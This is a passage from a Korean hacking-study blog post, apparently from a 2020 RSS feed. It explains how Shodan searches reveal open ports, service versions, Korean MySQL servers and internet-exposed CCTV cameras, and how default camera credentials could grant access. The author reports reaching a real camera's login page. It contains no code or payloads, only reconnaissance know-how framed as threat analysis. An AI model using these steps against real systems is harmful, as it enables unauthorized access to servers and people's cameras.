&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname08.bmp&quot; data-origin-width=&quot;249&quot; data-origin-height=&quot;126&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brd8EG/btqGh5Bf5i0/uD6rAdsm9BKEGM9k7kurMk/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brd8EG/btqGh5Bf5i0/uD6rAdsm9BKEGM9k7kurMk/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brd8EG/btqGh5Bf5i0/uD6rAdsm9BKEGM9k7kurMk/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbrd8EG%2FbtqGh5Bf5i0%2FuD6rAdsm9BKEGM9k7kurMk%2Ftfile.bmp&quot; data-filename=&quot;noname08.bmp&quot; data-origin-width=&quot;249&quot; data-origin-height=&quot;126&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname09.bmp&quot; data-origin-width=&quot;247&quot; data-origin-height=&quot;127&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKdQnu/btqGh34sNfc/O7HJTdxype0ACCTnZBQws0/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKdQnu/btqGh34sNfc/O7HJTdxype0ACCTnZBQws0/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKdQnu/btqGh34sNfc/O7HJTdxype0ACCTnZBQws0/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKdQnu%2FbtqGh34sNfc%2FO7HJTdxype0ACCTnZBQws0%2Ftfile.bmp&quot; data-filename=&quot;noname09.bmp&quot; data-origin-width=&quot;247&quot; data-origin-height=&quot;127&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;SSH, http, https &lt;/span&gt;&lt;span&gt;포트가 열려있다는 것을 확인할 수 있으면 각각의 버전 역시 알 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;버전을 알 수 있다면 그 버전에 취약한 해킹방법을 이용할 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;만약 버전이 낮은 서버가 있다면 그 버전에 따른 해킹 공격을 시도할 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block; text-align: center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-7966469452958275&quot; data-ad-slot=&quot;1021225096&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;319&quot; data-origin-height=&quot;89&quot; data-filename=&quot;noname10.bmp&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqgGrQ/btqGiKXFgSY/GulgTkL8g8Ht2sGBSEkUwk/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqgGrQ/btqGiKXFgSY/GulgTkL8g8Ht2sGBSEkUwk/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqgGrQ/btqGiKXFgSY/GulgTkL8g8Ht2sGBSEkUwk/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqgGrQ%2FbtqGiKXFgSY%2FGulgTkL8g8Ht2sGBSEkUwk%2Ftfile.bmp&quot; data-origin-width=&quot;319&quot; data-origin-height=&quot;89&quot; data-filename=&quot;noname10.bmp&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;그리고 데이터베이스가 &lt;/span&gt;&lt;span&gt;mysql&lt;/span&gt;&lt;span&gt;이라는 것을 확인할 수 있었다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;데이터베이스가 무엇인지 안다면 그에 맞는 주석을 알아낼 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그리고 그 주석을 이용해서 공격자는 &lt;/span&gt;&lt;span&gt;sql &lt;/span&gt;&lt;span&gt;인젝션 공격을 시도할 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;3. &lt;span&gt;쇼단을 이용해서 한국에서 &lt;/span&gt;&lt;span&gt;MySQL&lt;/span&gt;&lt;span&gt;을 이용하는 서버 검색&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname11.bmp&quot; data-origin-width=&quot;331&quot; data-origin-height=&quot;30&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Fet9o/btqGe85TcOF/ikBIAQtQbhOHXiZqoknUL1/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Fet9o/btqGe85TcOF/ikBIAQtQbhOHXiZqoknUL1/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fet9o/btqGe85TcOF/ikBIAQtQbhOHXiZqoknUL1/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFet9o%2FbtqGe85TcOF%2FikBIAQtQbhOHXiZqoknUL1%2Ftfile.bmp&quot; data-filename=&quot;noname11.bmp&quot; data-origin-width=&quot;331&quot; data-origin-height=&quot;30&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname12.bmp&quot; data-origin-width=&quot;237&quot; data-origin-height=&quot;299&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r6oOm/btqGea4ci04/TS1zrVAhNQt43yeCb9Q8R0/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r6oOm/btqGea4ci04/TS1zrVAhNQt43yeCb9Q8R0/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r6oOm/btqGea4ci04/TS1zrVAhNQt43yeCb9Q8R0/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr6oOm%2FbtqGea4ci04%2FTS1zrVAhNQt43yeCb9Q8R0%2Ftfile.bmp&quot; data-filename=&quot;noname12.bmp&quot; data-origin-width=&quot;237&quot; data-origin-height=&quot;299&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;만약 공격자가 &lt;/span&gt;&lt;span&gt;MySQL&lt;/span&gt;&lt;span&gt;에 대해서 잘 아는 공격자라면 이러한 검색으로 공격 타깃을 찾아낼 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;4. &lt;span&gt;쇼단을 이용해서 카메라 접속하기&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname13.bmp&quot; data-origin-width=&quot;362&quot; data-origin-height=&quot;50&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPTTlc/btqGevUxuqA/9q2kVBrLUakykqkanznN7K/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPTTlc/btqGevUxuqA/9q2kVBrLUakykqkanznN7K/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPTTlc/btqGevUxuqA/9q2kVBrLUakykqkanznN7K/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPTTlc%2FbtqGevUxuqA%2F9q2kVBrLUakykqkanznN7K%2Ftfile.bmp&quot; data-filename=&quot;noname13.bmp&quot; data-origin-width=&quot;362&quot; data-origin-height=&quot;50&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;이러한 검색을 해서 한국의 카메라를 검색했다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname14.bmp&quot; data-origin-width=&quot;414&quot; data-origin-height=&quot;138&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IQ437/btqGklpcMEd/CjQeZQGPAgcxAXl3Her09K/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IQ437/btqGklpcMEd/CjQeZQGPAgcxAXl3Her09K/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IQ437/btqGklpcMEd/CjQeZQGPAgcxAXl3Her09K/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIQ437%2FbtqGklpcMEd%2FCjQeZQGPAgcxAXl3Her09K%2Ftfile.bmp&quot; data-filename=&quot;noname14.bmp&quot; data-origin-width=&quot;414&quot; data-origin-height=&quot;138&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;검색 결과 중에서 &lt;/span&gt;&lt;span&gt;SK Broadband &lt;/span&gt;&lt;span&gt;카메라를 찾았다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname15.bmp&quot; data-origin-width=&quot;239&quot; data-origin-height=&quot;134&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GFikh/btqGg58stIV/Cfgyn42yA3Ow2KQcCfWeF1/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GFikh/btqGg58stIV/Cfgyn42yA3Ow2KQcCfWeF1/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GFikh/btqGg58stIV/Cfgyn42yA3Ow2KQcCfWeF1/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGFikh%2FbtqGg58stIV%2FCfgyn42yA3Ow2KQcCfWeF1%2Ftfile.bmp&quot; data-filename=&quot;noname15.bmp&quot; data-origin-width=&quot;239&quot; data-origin-height=&quot;134&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;아이피로 접속해보니 로그인 창이 출력되었다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;만약 카메라 사용자가 보안에 관심이 없는 사람이고 &lt;/span&gt;&lt;span&gt;ID/Password&lt;/span&gt;&lt;span&gt;를 변경하지 않았다면&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;CCTV &lt;/span&gt;&lt;span&gt;초기 &lt;/span&gt;&lt;span&gt;ID/Password&lt;/span&gt;&lt;span&gt;로 공격자는 손쉽게 &lt;/span&gt;&lt;span&gt;CCTV&lt;/span&gt;&lt;span&gt;에 접근할 수 있을 것이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname16.bmp&quot; data-origin-width=&quot;158&quot; data-origin-height=&quot;353&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S74E0/btqGjeqIscc/VKK7WmJyWIjXVtTDrCK7rk/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S74E0/btqGjeqIscc/VKK7WmJyWIjXVtTDrCK7rk/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S74E0/btqGjeqIscc/VKK7WmJyWIjXVtTDrCK7rk/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS74E0%2FbtqGjeqIscc%2FVKK7WmJyWIjXVtTDrCK7rk%2Ftfile.bmp&quot; data-filename=&quot;noname16.bmp&quot; data-origin-width=&quot;158&quot; data-origin-height=&quot;353&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;cctv &lt;/span&gt;&lt;span&gt;초기 &lt;/span&gt;&lt;span&gt;ID/Password&lt;/span&gt;&lt;span&gt;는 구글을 통해 쉽게 알아낼 수 있었다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;&lt;span&gt;5. 검색 결과에 대한 분석 또는 위협 내용 분석&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;1. &lt;/span&gt;&lt;span&gt;회사 서버의 위치를 알 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname17.bmp&quot; data-origin-width=&quot;310&quot; data-origin-height=&quot;264&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceBhv3/btqGiSguNuN/ahkJ0giu82ki28kd6hzWp1/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceBhv3/btqGiSguNuN/ahkJ0giu82ki28kd6hzWp1/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceBhv3/btqGiSguNuN/ahkJ0giu82ki28kd6hzWp1/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceBhv3%2FbtqGiSguNuN%2FahkJ0giu82ki28kd6hzWp1%2Ftfile.bmp&quot; data-filename=&quot;noname17.bmp&quot; data-origin-width=&quot;310&quot; data-origin-height=&quot;264&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;검색을 통해 회사 서버의 위치를 알 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;이것은 사회공학적 해킹을 시도할 수 있을 것이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;2. IP &lt;/span&gt;&lt;span&gt;주소와 포트 주소를 알아낼 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname18.bmp&quot; data-origin-width=&quot;170&quot; data-origin-height=&quot;146&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b57vqo/btqGe8ZbjYF/ykj6XxbNUEqZVwIuY87jMk/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b57vqo/btqGe8ZbjYF/ykj6XxbNUEqZVwIuY87jMk/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b57vqo/btqGe8ZbjYF/ykj6XxbNUEqZVwIuY87jMk/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb57vqo%2FbtqGe8ZbjYF%2Fykj6XxbNUEqZVwIuY87jMk%2Ftfile.bmp&quot; data-filename=&quot;noname18.bmp&quot; data-origin-width=&quot;170&quot; data-origin-height=&quot;146&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname19.bmp&quot; data-origin-width=&quot;186&quot; data-origin-height=&quot;95&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOn9r8/btqGgx5fLdA/Fkag5B6cMI2KA2pp3lNtJK/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOn9r8/btqGgx5fLdA/Fkag5B6cMI2KA2pp3lNtJK/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOn9r8/btqGgx5fLdA/Fkag5B6cMI2KA2pp3lNtJK/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOn9r8%2FbtqGgx5fLdA%2FFkag5B6cMI2KA2pp3lNtJK%2Ftfile.bmp&quot; data-filename=&quot;noname19.bmp&quot; data-origin-width=&quot;186&quot; data-origin-height=&quot;95&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;검색을 통해 서버의 &lt;/span&gt;&lt;span&gt;IP &lt;/span&gt;&lt;span&gt;주소와 열려있는 포트 주소를 알아낼 수 있다&lt;/span&gt;&lt;span&gt;. IP &lt;/span&gt;&lt;span&gt;주소와 열려있는 포트를 안다면 &lt;/span&gt;&lt;span&gt;DDoS &lt;/span&gt;&lt;span&gt;공격을 시도할 수 있을 것이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;3. &lt;/span&gt;&lt;span&gt;웹서버의 데이터 베이스를 알아낼 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname20.bmp&quot; data-origin-width=&quot;319&quot; data-origin-height=&quot;89&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mCHqr/btqGiSALb07/PRkSZYKzEJ5kLUzLmzJyjk/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mCHqr/btqGiSALb07/PRkSZYKzEJ5kLUzLmzJyjk/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mCHqr/btqGiSALb07/PRkSZYKzEJ5kLUzLmzJyjk/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmCHqr%2FbtqGiSALb07%2FPRkSZYKzEJ5kLUzLmzJyjk%2Ftfile.bmp&quot; data-filename=&quot;noname20.bmp&quot; data-origin-width=&quot;319&quot; data-origin-height=&quot;89&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;데이터베이스가 무엇인지 안다면 그에 맞는 주석을 알아낼 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그리고 그 주석을 이용해서 공격자는 &lt;/span&gt;&lt;span&gt;sql &lt;/span&gt;&lt;span&gt;인젝션 공격을 시도할 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;데이터 베이스의 버전도 알 수 있으므로 그에 맞는 &lt;/span&gt;&lt;span&gt;sql &lt;/span&gt;&lt;span&gt;인젝션 공격이 가능하다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;4. &lt;/span&gt;&lt;span&gt;카메라의 &lt;/span&gt;&lt;span&gt;IP&lt;/span&gt;&lt;span&gt;를 알 수 있고 카메라로 접속이 가능하다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname21.bmp&quot; data-origin-width=&quot;414&quot; data-origin-height=&quot;138&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcvwDb/btqGe9qdf5r/BRhHECj2i9MOL7AcoZJeJ1/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcvwDb/btqGe9qdf5r/BRhHECj2i9MOL7AcoZJeJ1/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcvwDb/btqGe9qdf5r/BRhHECj2i9MOL7AcoZJeJ1/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcvwDb%2FbtqGe9qdf5r%2FBRhHECj2i9MOL7AcoZJeJ1%2Ftfile.bmp&quot; data-filename=&quot;noname21.bmp&quot; data-origin-width=&quot;414&quot; data-origin-height=&quot;138&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname22.bmp&quot; data-origin-width=&quot;239&quot; data-origin-height=&quot;134&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qLBDA/btqGgXi3jDA/XKW4gIMxqdKcmqA27z0qi0/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qLBDA/btqGgXi3jDA/XKW4gIMxqdKcmqA27z0qi0/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qLBDA/btqGgXi3jDA/XKW4gIMxqdKcmqA27z0qi0/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqLBDA%2FbtqGgXi3jDA%2FXKW4gIMxqdKcmqA27z0qi0%2Ftfile.bmp&quot; data-filename=&quot;noname22.bmp&quot; data-origin-width=&quot;239&quot; data-origin-height=&quot;134&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;카메라의 &lt;/span&gt;&lt;span&gt;IP&lt;/span&gt;&lt;span&gt;를 알아낼 수 있고 접속 역시 가능하다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;만약 카메라 사용자가 &lt;/span&gt;&lt;span&gt;CCTV &lt;/span&gt;&lt;span&gt;초기 &lt;/span&gt;&lt;span&gt;ID/Password&lt;/span&gt;&lt;span&gt;를 그대로 사용했다면 공격자는 손쉽게 &lt;/span&gt;&lt;span&gt;CCTV&lt;/span&gt;&lt;span&gt;에 접근할 수 있을 것이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>SHODAN</category>
      <category>쇼단</category>
      <category>어둠의 구글</category>
      <category>해커</category>
      <category>해커들의 놀이터</category>
      <category>해킹</category>
      <category>해킹 공부</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/40</guid>
      <comments>https://geru.tistory.com/40#entry40comment</comments>
      <pubDate>Fri, 7 Aug 2020 12:00:33 +0900</pubDate>
    </item>
    <item>
